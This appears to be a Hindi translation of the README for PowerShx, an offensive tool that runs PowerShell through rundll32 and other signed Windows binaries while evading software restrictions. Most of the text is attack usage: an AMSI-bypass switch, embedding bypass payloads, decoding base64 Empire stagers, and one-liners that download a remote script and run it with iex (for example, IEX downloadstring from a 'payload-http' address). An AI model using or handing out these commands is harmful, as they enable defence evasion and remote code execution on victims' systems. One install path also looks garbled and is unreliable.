
बिना सॉफ़्टवेयर प्रतिबंधों के Powershell चलाएं।
DLL या एक स्वतंत्र निष्पादनयोग्य (executable) का उपयोग करके अनमैनेज्ड PowerShell निष्पादन।
PowerShx, PowerShdll प्रोजेक्ट का पुनर्लेखन और विस्तार है। PowerShx AMSI को बायपास करने और PS Cmdlets चलाने के लिए कार्यक्षमताएँ प्रदान करता है।
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer
PowerShx.exe -i Start an interactive console
PowerShx.exe -e <PS script to run>
PowerShx.exe -f <path> Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.
"Common" प्रोजेक्ट में डेटा डिक्शनरी "Common.Payloads.PayloadDict" को अपडेट करके और PsSession.cs → Handle() विधि में इसे कॉल करके पेलोड एम्बेड किए जा सकते हैं। उदाहरण: Handle() विधि में:
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
नोट: Empire स्टेजर्स को [System.Text.Encoding]::Unicode का उपयोग करके डिकोड करने की आवश्यकता है।
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
कुछ त्रुटियाँ आउटपुट में दिखाई नहीं देती हैं। हो सकता है कि Import-Module जैसे कमांड असफल होने पर त्रुटि आउटपुट न करें। सुनिश्चित करें कि आपने अपने कमांड सही ढंग से टाइप किए हैं।
dll मोड में, इंटरैक्टिव मोड और कमांड आउटपुट पेरेंट प्रोसेस के कंसोल को हाईजैक करने पर निर्भर करते हैं। यदि पेरेंट प्रोसेस में कंसोल नहीं है, तो आउटपुट न दिखाने के लिए -n स्विच का उपयोग करें अन्यथा एप्लिकेशन क्रैश हो जाएगा।
Rundll32 के आर्गुमेंट्स को संभालने के तरीके के कारण, स्विच और आर्गुमेंट्स के बीच कई स्पेस वर्णों का उपयोग करने से समस्याएँ हो सकती हैं। स्क्रिप्ट के अंदर कई स्पेस ठीक हैं।